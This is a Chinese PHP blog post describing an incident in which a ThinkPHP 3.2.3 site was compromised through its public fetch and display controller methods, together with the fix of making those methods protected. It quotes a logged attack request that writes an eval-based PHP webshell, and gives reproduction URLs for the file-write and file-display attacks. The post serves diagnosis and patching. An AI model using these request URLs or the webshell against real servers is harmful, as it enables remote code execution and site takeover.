当前位置:首页 > PHP > 正文内容

记一次tp3.2.3因fetch导致的漏洞处理过程

phpmianshi5个月前 (06-04)PHP489

问题描述:


最近发现百度收录大幅度下降,并出现大量5xx错误,有些收录页面直接跳转到其他网站,如下图:


图片.png


问题追查

1.根据以往经验首先怀疑网站被植入或者挂马

          于是排查系统日志,因为php项目的植入基本是通过eval植入的,所以我们直接:

          grep eval   nginx.log   发现类似如下日志:

{ "@timestamp": "02/Jun/2020:22:26:21 +0800", "remote_addr": "10.105.193.11", "referer": "-", "request": "GET 
/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('hmseo.php','<?php%20@eval($_POST[hm]);?>hmseo')</php>
 HTTP/1.1", "status": 200, "bytes": 5, "agent": "Mozilla/4.0 
(compatible; MSIE 9.0; Windows NT 6.1)", "x_forwarded": 
"185.207.155.138, 10.105.193.84", "up_addr": "unix:/tmp/php-cgi.sock","up_host": "-","up_resp_time": "0.021","request_time": "0.020" }

2.根据日志基本确定就是被植入了,结合我们网站和wap使用的框架,确定这是tp3.2.3的漏洞

            漏洞概述


            远程攻击者在无需任何权限情况下,可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到getshell的目的。


            一共有两种方式植入:
            第一种是通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件

            fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。利用时templateFile和prefix参数可以为空,在content参数传入待注入的php代码即可getshell


            第二种是通过构造a参数的display方法,实现任意内容包含漏洞

          display函数的作用是加载模板和页面输出

          所对应的参数为:
          $templateFile 指定要调用的模板文件

          $charset 模板输出字符集

          $contentType 输出类型,$content 模板输出内容。

          templateFile参数会经过parseTemplate函数处理,判断模板是否存在,当模板不存在时会在当前目录下开始查找,然后调用Thinkphp Controller 函数的display方法



3.实战演练

         我们通过fetch方法构造url如下:www.phpmianshi.com/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

         然后执行上面的url就可以在项目目录写入test.php  打印服务器的phpinfo信息,打开 www.phpmianshi.com/test.php 发现可以直接看到phpinfo


        我们通过display方法构造url如下:www.phpmianshi.com/?a=display&templateFile=phpmianshi.txt

         然后执行上面的url就可以直接显示phpmianshi.txt的内容


         根据ThinkPHP框架规则,可以通过 g\m\a 参数指定分组(group)\模块(model)\动作或方法(action),我们打开 Application\Common\Controller 路径下的 BaseController.class.php 可以看到通过a参数直接调的这几个权限为 public 的方法


解决方案

1.这边有问题的是display函数和fetch函数,display 和 fetch 函数的修饰符改为 protected  即可修复

2. 修复完成后,我们再执行 第三步:实战演练中的操作,发现不会再有植入的代码,说明修复成功




版权声明:本文由PHP面试资料网发布,如需转载请注明出处。
分享给朋友:

相关文章

PHP内核分析之生命周期五个阶段(四)

一、模块初始化阶段我们先来看一下该阶段的每个函数的作用。1.1、sapi_initialize_request_empty函数// main/SAPI.c SAPI_API vo...

Laravel神奇的服务容器

IoC 容器, laravel 的核心Laravel 的核心就是一个 IoC 容器,根据文档,称其为“服务容器”通过举例来让读者去理解什么是 IoC(控制反转) 和&nb...

PHP红包分配算法

<?php /**  * User: phpmianshi.com   * Date: 2020/3/31 &nbs...

laravel中嵌套事务是如何实现的

关于mysql的事务嵌套关于mysql 的事务嵌套可以查看这个地址:https://dev.mysql.com/doc/refman/5.5/en/implicit-commit.html里面有这么一...

PHP内核分析之常见变量基本结构(六)

一、类型一览zval中的u1.v.type用来存储变量的类型,而zval.value存储的是不同类型对应的值,所以type决定value取值的地方,以下是PHP7所定义的所有类型。#define&nb...

PHP中max_execution_time设置不生效

问题描述:max_execution_time设置了1秒,但是发现超过3秒的脚本还是跑。于是深入研究下max_execution_time不生效的原因。官网描述:https://www.php.net...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。